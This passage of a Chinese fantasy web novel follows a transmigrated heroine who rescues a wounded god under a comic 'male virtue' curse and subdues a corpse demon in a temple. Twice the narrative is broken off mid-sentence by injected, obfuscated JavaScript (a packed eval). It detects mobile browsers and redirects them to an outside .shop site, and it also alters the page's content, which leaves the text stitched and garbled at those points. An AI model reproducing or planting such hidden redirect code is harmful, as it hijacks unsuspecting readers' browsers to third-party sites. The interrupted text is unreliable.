“七月半,百鬼夜行,官河两岸群妖开市。” 他抬头,望向远处官河波光。 “鬼市里鱼龙混杂,不正是绝佳的‘险地’么?” 魏松跟在后面,听得云里雾里:“啊、啊?” 江临早已冷哼一声,接着往前走了。 ** 祝栖迟拉着祝今照穿过人群。 人群里有躲着他的,有一面交头接耳一面偷笑的,也有人不躲不避,叉着腰挡在路前,当场嘲他方才的跪姿…… 祝栖迟不说话,头低着,只攥着祝今照的手往前走。 祝今照跟在后面,脑袋扭来扭去,有一个骂一个。 瞧见哪个笑的,手指一抬,脆生生骂回去;哪个挡路的,劈头盖脸一顿数落…… 嘴皮子翻飞,利索得像刀子。全都骂得他们落荒而逃。 眼看他们都不敢上前了,祝今照咯咯直笑,扯祝栖迟的袖子: “阿兄,你瞧他们,就这能耐还敢出来找茬,还在我面前说嘴,这不是关公面前耍大刀么……” 祝栖迟不理。 拉她走得远远的。穿过街口,拐进一条僻静的小弄,直到听不见人声了,才停下来。 胳膊一甩,丢开祝今照的手。 他转过身,对着她,绷紧了脸:“知道错了么?” 祝今照脸上笑意渐渐暗下去。阿兄从不这样,她有些被吓着了。 “我、我哪里有错!”她声音扬起来,撞上祝栖迟紧绷的面容,又弱下去,“明明是他们……先骂人的……” “还敢顾左右言他!” 祝栖迟修眉蹙起来,胸口起伏了一下,唇瓣泛白。 “江临那种人,你真当他会有何真心么?” 他声音压低,“且不说以他如今的地位,又和你有那般纷纷扰扰的过去,他对你动手动脚,能安什么好心?” “就算你二人和和睦睦,”他声音忽然涩了,“他如此轻浮寡恩、表里不一之人,如何可托付终身?你跟了他那样的人,每日便是刀尖儿上讨生活。还想过上什么好日子?” 祝今照梗着脖子,眼圈已红了:“我何时说要嫁他?那玉佩我都没收!” “顶嘴!”祝栖迟斥道。 他看着她,眼尾泛红,声音忽然轻下去。 “是,你不嫁他。你不把自己当人。” “那香帕何意?你那番话何意?” “人贵自重。阿兄自小教你——‘人必其自爱也然后人爱诸’,你自己都那样作践自己,如何叫别人敬你爱你?你以为把自己放那么低,他便会怜惜你了么?” 他声音忽然哽了一下。 “他只会瞧不起你。从此愈发肆无忌惮……折磨你。” 祝今照低垂着脑袋,眼里蓄着泪水瞧他。委屈极了,仍努力理直气壮。 “什么作践?” “那话什么意思,我、我也不懂嘛!” “不就是给他一副手帕么?是他先求的啊。若不给他,指不定他便要敲咱家的钱财了。” 她越说越委屈,眼泪叭嗒掉下来一颗。 “他收下后不是很满意么?我分明救了阿兄,阿兄却这般嚷我!” 祝栖迟抓起她的手掌,抬手便要落下一记打。 祝今照吓得肩头一缩,呜呜哭起来。 祝栖迟的手便落不下来了。 手一松,丢开她的手掌,叹了一声。 声音低下去:“……是阿兄没用。” 他低了半日头,慢慢抬起手,指尖碰了碰祝今照的发丝。 “……对不起。” 祝今照一头埋在他胸前,便哭。鼻涕眼泪全抹上他身上。 待她抽噎声渐止,祝栖迟揽着她肩头:“回家罢。” 二人慢慢往回走。 祝今照安静下来,一边走,一边回想方才的祝栖迟的话—— 刀尖上讨生活……没好日子……愈发被折磨…… 可不就是原主后来的日子么。 原著里,江临登基后,前期有些叛军,江临都将他们坑杀了。 祝栖迟也在那里面。江临当着原主的面,将他剐了——因为他在大明宫放火,想救原主出去。 她步子慢了一拍。 祝栖迟不该是那般结局。原主最后,也一定很后悔罢。 她前世从未尝过亲情的滋味。只觉得能有这样的兄长,实在很幸运。 如今一切重新开始,什么都还来得及。有她在,他们肯定能一起过上好日子。 祝栖迟面色平静,垂眸瞧了祝今照一眼——眼圈还红着,嘴角竟已扬起来了。 心中直摇头。 妹妹确实不再多情多感了,却又变得没心没肺了。 莫非那段话,当真是她为了博江临欢心,随口编的? 祝今照心事去了,眼睛就开始乱看。 拐到主街上,忽瞧见一群官兵。 颈子上戴珍珠串,拇指大小的珠子,日光下闪着一层彩光。喜笑颜开,大摇大摆走在街上。 前头小兵卒扯着嗓子喊了一句,招来一群兵卒围着。领头的从腰间摸出一把珠子,挨个发。 祝今照直勾勾盯着那些珠子。 颗颗圆润,被那些粗糙的手托着,愈显发亮。 她倒吸一口气,晃祝栖迟的胳膊:“阿兄,你瞧!” 祝栖迟望过去。 “是节度使府的虞候。” 他目光划过那些珠子,声线沉沉,“收妖所得的财物,本应交于北斗宫,由北斗宫上交国库。可如今……江临揽到了自己府里。” 祝今照注意力被他带了去,眨着眼道:“是……为了收买人心?” 祝栖迟点头:“不错。” “节度使之位,府中都知兵马使杨九觊觎已久,岂料从天降下一个江临。杨九定然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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街上没一个行人,铺子全关门了,摆在外面的摊位都收了起来,只剩几根竹竿横在地上。 风从街口灌进来,卷起几片叶子,沙沙作响。 祝今照仰面站在“北斗符铺”门前。 大门紧闭,门板上落了把铜锁。 “收摊了。” 她懊恼地抱脑袋,手指插进发髻里,把红绳扯歪了一根。 “都这个时候了,肯定没人了啊。” 胳膊耷拉下去。 “……我又冲动了。” 她垂着脑袋往回走,步子拖拖拉拉的,鞋底擦着青石板。 忽地,脚尖踢地一个软软的东西。 一声极轻的闷哼,从脚下传来。 她垂眼。 街旁的巷口,墙角根下,蜷着一团单薄的白影。 宽大的衣袍铺在地上,迎风微动。一身及腰的长发散开来,乌压压铺在脊背上。发丝黑而密,衬得那截身姿愈发单薄。 一道声音从那人喉间滚出来。 像初雪融化后,山涧流下的清泉,清润的,干净的,无害的。 祝今照弯下腰听。 “……救……” 祝今照听清了。 猛地直起身。 好狗血的桥段。 捡、捡男人文学? 她往后退了半步。 此时,一阵晚风贴地卷来,那人脊背上发丝吹开一绺,滑落下去,露出一小片背部。 衣料竟被血洇透了。 深红色,湿漉漉的,贴在脊背上。 祝今照拔腿就跑。 跑出两步,脚步顿住。 她扭回头。 那人蜷在屋檐的阴影里,白衣染了血,发丝散了一地。整个人安安静静蜷在那里,像一捧被揉皱的月光。 那道身影……好熟悉。 和白日里那道明月一样的身影,在她脑海重叠了。 她又退了回来。 双手扶他肩头,将他身子软软地扶起来。 额前,他被冷汗沾湿的发丝滑下去,露出一张痛苦的面容。 双目紧闭,修眉紧锁。 唇色极淡,微微翕张着,像是在说什么,又像只是冷。 那张玉容,清冽干净。像乌云散去后,空中的皎皎明月。 祝今照心中一紧。 “……是你!” 4. 除菌消毒 “小道长,小道长……” 祝今照双手扶稳男子肩头,轻轻摇了摇,唤了几声,没叫醒。 抬眼望天。日头已完全落下去了,西边天际剩一点余晖,虚飘飘挂着。 暮鼓就要敲了。 若赶不回宅子里,叫巡夜的虞候瞧见,可是要打板子的。 她脑子里闪过衙役手中的板子——厚实的板子,往下一落,五大三粗的汉子都要哇哇叫。她这副小身板可受不住。阿兄定然也要担心坏了。 祝今照咬住下唇。 忽地,手背上一凉。 一滴水落了下来,带着雨水微腥的气息。眼前光线昏暗了下来。 祝今照拧眉,望向天空。 西边霞光还没散尽呢,铺天的乌云却已笼过来了,云里翻着黑灰的雾气。不一会儿,便遮住了那一点暖光。 斗大的雨珠落了下来。 啪。啪啪。啪啪啪。 砸在青石板上,溅起一朵一朵小水花。 “诶——”祝今照让小道长靠在她肩头,双手忙不迭往他背上遮,嘴里不闲着,“不是都说‘朝霞暮雨晚霞晴’么,今日这么亮的晚霞——这天怎的不讲道理!” 手背刚覆上去,便湿透了。袖子也湿了;双髻上红绳耷拉下来,贴在脸颊上。 低头看小道长的脊背。雨水正顺着他发丝往下淌,往衣裳里洇。白衣上红色慢慢晕开,扩散成一大片。 祝今照眉头拧起来:“这可怎么办?雨水淋在伤口上,感染了可就坏事了。” 她跪坐在地上,将小道长往肩头拢了拢,双手遮在眉上,左右观望。 “哪里可以避雨呢?” 雨幕里,福禄街雾气氤氲。两边铺门紧闭,屋檐淌下一道道水帘。 她转回来,对着小道长耳朵说话。 “我带你去找一处廊檐,在那里避一晚。” “若是叫官兵发现了,我便说……说你是我远房表兄。” “照顾兄长算孝悌,不算恶劣行径,能少吃几杖。” 身子转个方向,背对着他,将他两条胳膊搭在肩头。膝盖使了使劲,颤巍巍站起来。 他整个人重量压在她身上,沉甸甸的。步子迈得艰难,他的白靴拖上地上,划出两道水痕。 闷头往前走。 一面走,一面说: “其实你应当比我小。你瞧着有十七八岁的样子。那就是比我小。你别看我才十四,实则我心理年龄有二十一,两世加起来,得有三十五了呢。” 背上小道长闷哼了一声。 祝今照转头看。他修眉蹙得更深了,泛着粉的耳尖微微垂下去,像是想遮住耳朵。也不知嫌她说得不对,还是嫌她聒噪。 “抱歉,我太聒噪了。” 祝今照喘了口气,继续道:“你白日救我时一句话都不说,定是个不爱说话的。” “要么就是嘴笨。” “嘴笨也没关系,要是你挺过这一劫,我们交个朋友,别人骂你,我都帮你骂回去。” 说得喘粗气,抬眼看。 “我天呢?才走十丈不到?” 左右看看,两边屋檐都太窄,水直直浇在台阶上,避不得雨的。 “这得走到什么时候……” 叹口气,将小道长往上提了提,闷头接着往前走。 忽地,周围起了缥缈的雾色。 雾气一丝一丝,从地面漫起来,很快便浓了。一团团涌过来,连两边铺门都得眯着眼看。 周围没有灯火,没有人声。雨声还在,却像被雾气裹住了,闷闷的。像是满世界只剩她一人。 祝今照目光转着圈扫了一眼。 “怎么突然起雾了?我得小心点,不能摔着。” 短靴试探着在地面点一点,才落稳。 “这又是雨,又是雾的。”她往上颠了颠小道长,“小道长,你也太倒霉了罢?” “不过你放心,我从小就幸运,山窝里都能考上大学,摆摊都能活下来,一定会把好运传递给你的。” 一面走,一面嘴上停不下来。 背上小道长突然开口了:“……妖……妖气……” “什么?”祝今照侧着耳朵听,“……山药……茡荠……茡荠山药猪骨汤?” 脑海浮现一只白瓷大碗,漂着葱花油,热气腾腾往上冒,汤汁是奶白色的,鲜甜爽口。 她咽了咽口水。 声音颓丧下去:“你别说了,我也饿,我晚饭也没吃……” 小道长似乎很不满意。喉间不断发出模糊的音节,肩膀微微动了一下,似要醒过来。 祝今照正要同他争辩,头顶却传来叮铃铃的疾响。 是风铃的声音。 在暴雨里,一声叠着一声。 她疑惑地抬头。 雨幕和雾气的间隙里,竟露出一座小庙。 门窗透出昏黄的灯火,映着门外的红墙黛瓦。 墙皮剥落了一大半,露出灰扑扑的砖。柱子上的漆也裂了,一道一道的。匾额歪了一角,上头写着“太白庙”三个大字。 周围已没有商铺了。身后是一条野道,泥泞泞的。道两边种满了梧桐树,阔大的叶子被雨打得噼啪响。 “这是哪儿?” 祝今照左看右看,雾气将来路吞得干干净净。 “奇怪,我好像没走这么远哪?” 祝今照疑惑了一瞬,便扬起了嘴角。 “不管怎么样,找着避雨的地方了。” 她将小道长往上提了提,踩着水,叭嗒叭嗒往庙门走。 扬声唤道:“有人么?夜深雨疾,我二人借宝观避一避雨,不知方便否?” 走了几步,脚下一绊。 祝今照惊叫一声,连忙抓牢小道长的手腕,咬着唇,勉强稳住。轻舒了一口气。 抬起眼—— 一个披头散发的白衣人贴面而来。 面容白得像面粉,颊上两团艳红,像朱砂点上去的。双眼黑白过于分明,直勾勾盯着她。 “啊——” 祝今照疾退三丈。小道长从背上摔下来,咔嗒一声倒在水坑里。 “何、何方妖孽?”她手指那白衣人,“敢来姑奶奶跟前撒野,你知道我是谁么?” 脑子飞转,“我在三清天上可有人!北斗真君都听我的!”转眼瞥见庙里头的神像,“这庙里的太白金星——都须让我三分!” 手里掏着腰间荷包。她白日帮摊主斗牡丹娘子,装了一把符箓在包里。 指尖捏住一张,抽出来,并指执符,胳膊有模有样往前一伸。 那白衣人却只在原地晃晃悠悠,不往前来了。 定睛一看,竟是个纸扎人。 白袍底下连着几圈锁簧,连在树根下。有条软绳伸出来,横在路上,只要往庙里走,踩上去,这纸扎人便要弹出来。 “这谁家小孩干的……” 她手放下来。 “……比我还调皮捣蛋。” 连忙跑去扶小道长。 人蜷在水洼里,雨淋着,双臂软软地铺在地上。发丝散在水面上,黑压压的一大片。 将人搀起来,一条胳膊绕在她肩头,扶着他往前走。 快到门前时,有个桃木做的牌子,竖在地上。上面朱笔写着几个字,被雨淋着,往下淌着水痕,血淋淋的: “勿入,请回。” 祝今照瞧了一眼,径直跨入门槛。 供桌前站着位娘子。穿乌黑襦裙,戴素色披帛。正执着细嘴铜壶,为长明灯添油。 这般荒野小庙,竟也有负责庙务的居士。 祝今照俯了俯身,雨水顺着额发滴下来:“斋娘安好,我二人无路可走,可否在此暂留一夜?待天明雨晴,定来捐香火钱。” “随你们。”斋娘开口,声音竟沙哑至极,像白发苍苍的老人。 祝今照觉得奇怪,但又想天下之大无奇不有,便没多想。 “多谢斋娘。”她弯了弯眼。 斋娘头也没回:“墙根儿处有铺盖。” 祝今照择一块干净的地面,将小道长小心放下。 去墙根处取铺盖。 有草席,有棉被。草席卷成一筒,棉被叠得方正,上头落了层薄灰。 她弯腰抱起来。 脚下哗啦啦一串声响。 低头一瞧,一大堆白骨。 长长短短堆在墙角,光线暗,瞧不清是什么骨头。 祝今照:“啊——!这、这是什么?” 斋娘道:“死了多时的野兽。”铜壶搁在供桌上,发出一声闷响,瞧一眼祝今照,“小娃娃,莫大惊小怪,老婆子心脏受不住。” 转回去接着添油。 祝今照松了口气,手在胸口拍了拍。 又抬眼瞧斋娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500514|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老婆子?” 目光落在那截后颈上,白嫩嫩的。肩背纤长挺直,轻轻巧巧搭着披帛。 “您瞧上去,像个年轻小娘子啊?” 斋娘冷笑道:“那又如何?我这张皮,比你的,比地上那小郎君的,都差远了!” 斋娘似乎生气了。 祝今照挠了挠脖子。弯眼道:“人不可貌相嘛,斋娘虔心问道,又何须在意这些?” 她将铺盖抖落抖落。走过去,铺在地上。扶小道长侧躺,再慢慢趴过去,拨开他满头墨发。 褪下白衣,衣料从肩头剥下来,露出一半脊背。 玉质般的肌肤,紧致有力,肌肉线条微微起伏。 上面纵横交错着数道鞭痕。 伤口很深,翻着血肉,边缘被雨水浸得发白。已经不流血了,周围洇着一圈淡红,瞧着便疼。 祝今照瞧着皱眉。自言自语: “这得上点消毒的药。” “他们修仙的,行走江湖,身上该带着药吧?” 趴下去,手往他袖子里伸。 指尖探进去,一点点往里摸。他手臂凉凉的,皮肤下脉搏一下一下,虚弱地撞在她指腹上。 摸出一只青釉的小瓷瓶。雨水沾湿了,滑溜溜的。 手收回来时,指尖染上了他身上的气息。 像贡奉神祇的香炉燃烬了,留下的冷灰。清幽,寒冷,但纯净。一种干干净净的凉意。 祝今照将指尖凑近鼻端,嗅了几息,才放下。 她举高瓷瓶,对着光瞧上面的小字。 写得龙飞凤舞,只认得出“除菌”二字。 那不就是古代版的抗生素么! 祝今照眼睛一亮。拔开瓶塞,往掌心倒了一点。 药粉是淡蓝色的,细细的,微微闪着灵光,瞧着就是仙门的好东西。 拭着往小道长伤口处涂。指尖沾了点药粉,一点点抹在鞭痕边缘。 身下的人陡然一声闷哼。 脊背的肌肉猛地绷紧了,又松开,细细发着抖。肩胛骨顶起皮肤,颤个不停。 似乎很疼。 “啊,怎么了?” 祝今照手指一缩,指尖悬在半空,不敢落下去了。 “用错药了么?” 她连忙用袖子擦。 袖口的绣花扫过伤口,勾出来丝丝血肉。药粉被袖子碾开,混着雨水,往伤口深处渗进去。 小道长抖得更厉害了。 呼吸变得粗重,还一颤一颤的。眼皮底下,眼珠转来转去,睫毛湿漉漉地翕动着。 “抱歉抱歉,我不是故意的。” 祝今照不敢再擦了。双手无措地举起来。 那瓷瓶还开着口,她这么一举,倒了个个儿。药粉哗地落下来,全都倒在伤口上了。 药粉堆在鞭痕上,被血水和雨水一浸,顺着伤口往下淌。 “嗯!” 裴枕寒双目蓦地睁开。 瞳孔涣散了一瞬,才聚起焦来。眸子里蓄着泪水,将落未落。长睫颤动着,像蝶翅被雨打湿了,扑棱棱地抖。 疼得发懵。 他手指蜷起,指尖陷进草席的纹路里。 灵海深处,冰冷的机械音响了起来—— 【检测到神君已清醒。】 【同步启动诫咒。】 【三,二,一……】 【诫咒已启动。请神君谨守男德。】 裴枕寒睫毛颤了颤,生理性的泪水从眼角滑下去,洇进鬓发里。 【当前总值:-4/100】 【当前等级:负。】 【当前惩罚:雷鞭7日,7道/日。已完成1日。】 【警告:若分值掉至-20,将加刑7日。】 【建议神君主动做出合乎男德规范的优良行为。7日内加至相应分数等级,可免除剩余惩罚。】 他呼吸平复了一些,脊背上的肌肉慢慢放松下来,伤口却还在细细地抽动。 【检测到女子以「潄齿灵盐」攻击神君伤口。】 【判定为惩诫行为。请选择:】 【选项A:跪下谢恩。+10】 【选项B:心怀感恩,诚心反思。+5】 【选项C:原地不动,等她发话。+0】 【选项D:目露不甘。-5】 【选项E:严辞谴责。-10】 5. 我护着你! 裴枕寒喉间逸出一声声轻哼。脊背肌肉抽搐了许久,才渐渐平息。 上身伏下去,平趴在草席上。长睫垂着,额角沁出一层薄汗。 祝今照跪坐在他旁边,手里还举着那空瓷瓶。怔怔瞧他背上一片狼藉。药粉堆上伤口,混在血水里,闪着蓝光。 这小道长脾气真好。她把人家弄成这样,人家一句火也没发。 她心虚道:“对、对不起,小道长。我不是故意的……” 偷眼去看。小道长只静静垂着长睫,没吭声。 祝今照干笑:“这药怎么这般疼?我头一回见疼成这样的金疮药,哈哈。” “不过它好像……没太起作用。” “你瞧,就这个。”举着瓷瓶往他眼前凑,“真奇怪,这是什么药哇?” 一只白嫩的手伸到眼前,指尖沾着药粉,袖口湿了半截。 裴枕寒抬起眸子,仰面瞧她。 灯火下,一张鲜丽的面容正对他笑。眉眼弯弯,笑得没心没肺。 是白日里那位花花绿绿的小娘子。 果然是她。吵了一路。 他垂下眼,神情淡淡的。 开口时,声音沉静淡然。玉润冰清的嗓音,像冰面下缓缓流淌的水:“此为漱齿用的灵盐,并非金疮药。” “什么!?”祝今照声音拔起来,“那我方才……是往……往你伤口上撒盐?” 裴枕寒非话多之人。能说一句,便不说两句。他能通晓人心,却从不出言介入他人因果。 此刻,却鬼使神差地,温声道了句:“瓶上字迹潦草,小娘子一时认不得,也是常情。” 祝今照咬唇瞧他脊背。 “我帮你弄干净!” 裴枕寒肩头抬了抬,将褪下的衣衫轻轻拢上去,遮住那片裸露的肌肤。 祝今照手悬在半空,讪讪收回,尴尬地摸脖子。 身后忽传来一道苍老的声音:“没必要管他的背。” 祝今照怔了怔,扭头去看。 那斋娘已经不添油了,正蹲在墙根底下,手里头握着把刀,一下一下磨。 霍——霍—— 祝今照眨了眨眼:“斋娘,您磨刀做什么?” 霍——霍—— 祝今照又问:“您方才说‘没必要’……那是什么意思?” 斋娘磨着刀,悠悠道:“男人的皮,本就没多少销路。背上的皮,更卖不出价钱。破了就破了罢,不值当心疼。” 祝今照豁地站了起来,张着嘴说不出话。 僵了一瞬,她脖子一寸寸转过去,望向墙角那堆白惨惨的骨头。 嗓音发颤:“斋、斋娘……那些骨头,当真是野兽的么?” 斋娘轻哼了一声:“看你怎么定义野兽。” 堂中寂静。 霍——霍—— 祝今照猛地转身,弯腰就去扶身后的人。 裴枕寒正单膝支着地,衣袂垂在草席上。扶着膝盖借力,颤巍巍站起来。 祝今照一把搀住他胳膊,压低声音:“小道长,你躲我身后,我护着你!” 裴枕寒低头看她。 声音因虚弱而低了些,语气却仍淡淡的:“你如何护我?” 祝今照手抖着,飞快伸进腰间荷包去掏: “我还有好些灵符!我跟你说,那些妖物很怕这些东西。咱们边打边退,总能寻着空子跑出去。就是得委屈你忍一忍背上的疼……” 裴枕寒垂眼看她的手。 荷包口子撑开,里头符纸快要被她一把拽出来了。 脑海浮现白日情景——小娘子要救那摊主,攥着一把符纸往前扔,结果全糊人家脸上。 他不知道该说什么。他没见过这样的人。 祝今照瞧他久久不吭声,心里头便当他是应了。将他往门口方向轻轻一推。 随即猛地转身,挡在他前头。双指夹着灵符,胳膊架得笔直。架势倒像模像样,活脱脱一个要放大招的高人。 拦着小道长退了几步。 身后的门扇忽吱呀一声,砰地关严实了。雨声被挡在门外,风呼呼吹打着门板。 “二位,坐下歇歇罢,睡一觉。” 斋娘举起短刀,对着灯火,慢悠悠抹去刃上的灰。 祝今照倒抽口气,攥紧符纸,冲着斋娘喊: “妖怪!我乃北斗真君座前侍女,早算准了你会在此作恶,特意候着你呢!你已经叫我们的人团团围住了。这庙外头全是北斗宫的道长,一刻钟之内我若没出去,他们便冲进来拿你!” 身后,裴枕寒低头看她。唇瓣微微张了张,似想说什么,但没说,又合上了。 斋娘站起来了。 转过身,是一个面容姣好的少女。 神情却同这脸对不上号,阴恻恻笑着,一步步,逼了过来。 “那你倒说说,这是什么地方?” “这还用问么!” 祝今照站得僵直,嗓门拔得老高。 脑子飞转。 庙里有这许多白骨,可见这妖物不是头一回在此作恶。 妖若要一而再、再而三地害人,必得选一处对它有利的地方。 原著里写过,扬州城的官河底下,积了无数纤夫的冤魂,阴气重,适合妖邪生存。 河之南为阴,北为阳,南岸又比北岸更盛。 城中因人口聚居,官府便投入更多精力保护,每隔几日便有修士来官河净化。但城郊便没这般待遇了。 不一定对,但赌一把。 “此地是扬州城郊,官河南岸!”祝今照理直气壮,下巴都抬起来了。 斋娘明显怔了怔。 裴枕寒将她那一怔收入眼底。垂下眸子,又看了看祝今照。 “哈哈!”祝今照心知自己赌对了,嗓门更亮了,“被我踩中尾巴了吧!还不赶紧将我们放了,放了!” 斋娘冷哼一声。 “倒是个聪明的。只可惜——” 祝今照蹙眉。 “这世上谁人不知,北斗真君化神两千年,身边从不设侍女。你这身份,编岔了。” 话音未落,手腕一翻,短刀提在身前。双脚离了地面,无声无息,直直飘了过来。 一股腥腐的风扑面打来。 祝今照喉间滚出一声惊叫,牙一咬,硬生生咽下去了。眼皮子不敢抬,手里符纸哗啦啦冲着前头乱扇。 斋娘阴恻恻笑了一声:“那灵符需得配合法力捏诀才管用。你这废物花瓶,身上……” 话音陡然断了。 斋娘瞳孔猛地一缩。她的视线越过祝今照肩头,落在身后那道人影上,像是一瞬间认出了什么要命的东西。 双脚砰地落了地,周身那股阴风嗖地收了回去。 “啊——!” 一声惨叫,尖厉得刺耳。她抱起脑袋,扭身便要逃。 一道蓝紫色的灵光落下来,轻轻巧巧罩在她身上,颜色像深夜的星河。 她像是被什么拽住了,身子僵着,一寸一寸,生生拧了回来。 那张姣好的面容,像蒸包子揭起的笼布一般,软塌塌剥落下来。 底下露出另一张脸。 一半惨白,像泡了水的死尸,眼球是混浊的灰色。一半丑陋,像被大火烧过,五官黏连扭曲在一处。 斋娘已顾不上什么仪容了。 身后那人,周身散发出的气息,强大、空寂。任何妖物一旦靠近,便再施展不出什么,只能匍匐在地。 她知道那意味着什么。 她抱着脑袋惨声求饶:“上、上神饶命……贱躯并非有意作恶……我也是、我也是奉命行事……” 祝今照偷眼瞧过去,看得眼都直了。 这符纸竟这般管用?光效也太炫酷了。 她把符纸举到眼前,翻过面来端详了一下,随即昂起脑袋,清脆地哼了一声。小脸一板,满是正气: “坏人谁不说自己是奉命行事?你害了这许多人,难不成桩桩件件,都是别人按着你的手干的?” 斋娘惨叫着,忽然扑通一声,朝着祝今照跪了下去。 “小娘子!饶命,那些人是我害的,可我没有要害你……我只是奉命捉你回去关几日……你若不信,只管问我姐姐……求您发发慈悲,饶贱躯一命……” 额头砰砰砸在地上,一下接一下。 祝今照奇道:“你姐姐是谁?” 斋娘伏在地上,声音打颤:“便是鬼市里锦容堂的老板娘!贱躯不敢扯谎……” 祝今照眉头蹙了蹙。 锦容堂,好熟悉的名字。 想起来了。原著里提过。锦容堂的衣娘,鬼市里卖人皮的。 她妹妹阿绒负责供货,她负责出手。 “你叫阿绒?!”祝今照脱口而出。 斋娘浑身一震,抬起脸来:“你、你怎知我名字?” 祝今照心里头百感交集,喃喃道:“这也太巧了……” 姐妹俩都是男主江临的人。妹妹阿绒爱慕江临,后来叫豪绅抢去做了小妾,末了她一把火烧了豪绅宅子,自己悬了梁。尸身被江临发现,收作了手下。 江临以阿绒为筹码,拿捏着衣娘替他办事。 若阿绒这张牌,落到她手里呢? 那她在鬼市,是不是就算有人了? 有了人,便有突破口。 她这边心思飞转,那头阿绒眼眶里已渗出血丝来,嘴里往外冒着尸水,眼看不行了。 祝今照一叠声喊:“停、停……” 两手胡乱拍着符纸,想叫那法力收回去。 身后,裴枕寒垂眸看了她一眼。 袖摆之下,捏诀的手指轻轻松开了。 阿绒周身那道灵光应声散去。 上身猛地往前一栽,趴在地上,大口大口喘气。 祝今照见法力当真停了,心头一喜。 低头便去翻荷包里的符纸。 嘴里念叨着:“我记着有一张能将人变小的……” 阿绒伏在地上喘了一阵。 抬起眼,望向祝今照。目光里透出一股破釜沉舟的狠劲。 身子猛地飘起,厉叫一声,裹着腥风直扑过去。 祝今照正翻符纸翻得入神。 身后的裴枕寒叹了口气。 手指轻翻,捏了一道脱力诀。 阿绒身子还在半空,便被一道无形的力道按了下去,砰地砸在地上。 四肢扑腾着,喉咙里滚出不甘的嘶叫 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心中不知为何,泛起一种说不清的滋味,空落落的。这种感觉他并不陌生,只是从来都不喜欢。 这般软绵绵一个小娘子,带只妖在身边玩玩,于天道,似乎也没什么损害。 谈不上规矩不规矩的。 他点了点头。 指尖翻飞,捏了一道定魂诀。 一道蓝光拢过去。 地上扑腾的尸妖动作一顿,嗖地一声,化作一只巴掌大的三彩陶俑。 “成了!”祝今照眼睛一亮,简直要跳起来了。 一把捧起陶俑,转过身去,张开胳膊就给了小道长一个熊抱。 “小道长!我成功了!” 裴枕寒被扑了个正着,脊背撞上她的胳膊。伤口一抽,喉间滚出一声闷哼,硬是咽回去了。 祝今照将脸埋在他胸前柔软的衣料里,呜呜了两声:“手里头终于有件能用的东西了……” 仰脸瞧他,水杏眼亮晶晶:“我一定能带阿兄过上好日子!到时候你受了什么欺负,我都帮你欺负回去!” 裴枕寒静静看着她那张绽开的笑脸。 灵海机械音忽然兴奋地震了起来—— 【!!!神君不愧是神君,竟能做出如此合乎男德的行动!】 裴枕寒垂眸,没懂诫咒在兴奋什么。 【默默给予女子支持,扶其凌云之志,助其扬眉吐气。+60】 【柔弱地被女子护在身后。+5】 【由于此行为为神君原创,创新鼓励分,+10】 【当前总值:71/100】 【当前等级:及格。无奖无罚。】 【剩余刑罚天数免除,恭喜神君!】 裴枕寒微怔,没想到会有这样的结果。 他是不死神身,纵然没有这一遭,七日雷鞭扛下来,也就是疼晕疼醒的循环,死不了。 但疼总归是不好受的。 这是这位小娘子的恩情,他该谢谢她。 裴枕寒看向祝今照,微微颔首:“多谢。” 祝今照正冲他笑,闻言大手一挥,豪爽得很:“别客气!我们是朋友嘛。我帮你欺负回去,那不是应该的?” 裴枕寒眉梢轻轻抬了抬,低低重复了一声:“……朋友?” 【检测到神君「谢恩」行为。】 【疑似选择「选项A:跪下谢恩。」】 【但神君没有下跪,酌情+7】 【建议下次谢恩时伴随下跪行为。】 【当前总值:78/100(良)。解锁琅嬛书苑男德书库!】 【恭喜神君!可入内畅读,提前学习如何做一位好夫君,更好地为未来妻主服务。】 【推荐阅读:《绣帷食方》,内有多种饮食烹饪方式……唔——】 裴枕寒捏了个诀,将诫咒禁了言。 他抬眸看向祝今照:“小娘子救了我。有何愿望,但说无妨。我替小娘子实现。” “愿望?”祝今照挠着双髻,杏眸里水光转了转。 “小道长,”她瞧着他,语气带着感慨,“你都落魄成这样了,还想着报恩呢。” 脑海浮现日落时情景。小道长独自蜷在街角,白衣上洇着大片血迹,背上横七竖八全是鞭伤。 八成是被师门废了筋脉,打个半死,赶出来了。 一时间,无数被师门嫉妒排挤的美强惨角色,排着队从她脑海走过去。 祝今照抬起手,拍了拍他肩头。 “不打紧,从今以后我护着你。至于愿望——别提啦。朋友之间,本来就该相互帮衬的呀。” 裴枕寒沉默。 不知道她将他想成什么身份了。肯定不是什么好身份。 他道:“既无愿望……” 她帮他免除了剩余六日雷鞭,今日又为他奔波了这许久。算起来,救了他七日。 “小娘子救了我七日,那我便跟随小娘子七日。这七日内,小娘子遇着什么难处,我都在。” 6. 晴日 阳光从窗棂漏进来,铺了一地。 窗檐上,鸟雀像是欢喜天气放了晴,正啾啾乱语。 祝今照揉着眼睛,从榻上坐起来。 拥着被衾,盯着地面阳光,发了半晌愣,才意识到自己已经到家了。 昨夜在太白庙,她本打算将就一夜的。 小道长问她,想不想回家睡。 她心里想。但深更半夜的,城门都关了,外头雨又大,城里还要走那么远,想有什么用。她就说没事儿,不想,先睡罢。 小道长却没说话。半蹲下来,背对着她,只道,既然想回去,便上来。 她哪能答应。可当时实在困得不行,眼一阖,竟就那么趴他背上睡过去了。 所以,是他背她回来的! 祝今照双手抓头发:“我也太不做人了,人家背上都是伤……” 她下榻去洗漱。眼还咪着,两条胳膊耷拉在前面,走得一飘一飘。 嘴里有气无力地咕哝:“可……他怎么知道我家住哪儿?” 经过书案,上头摊着一本书。 祝今照飘过去,又倒回来:“我还看书?” 低头一瞧,满页彩绘,画的全是吃的。 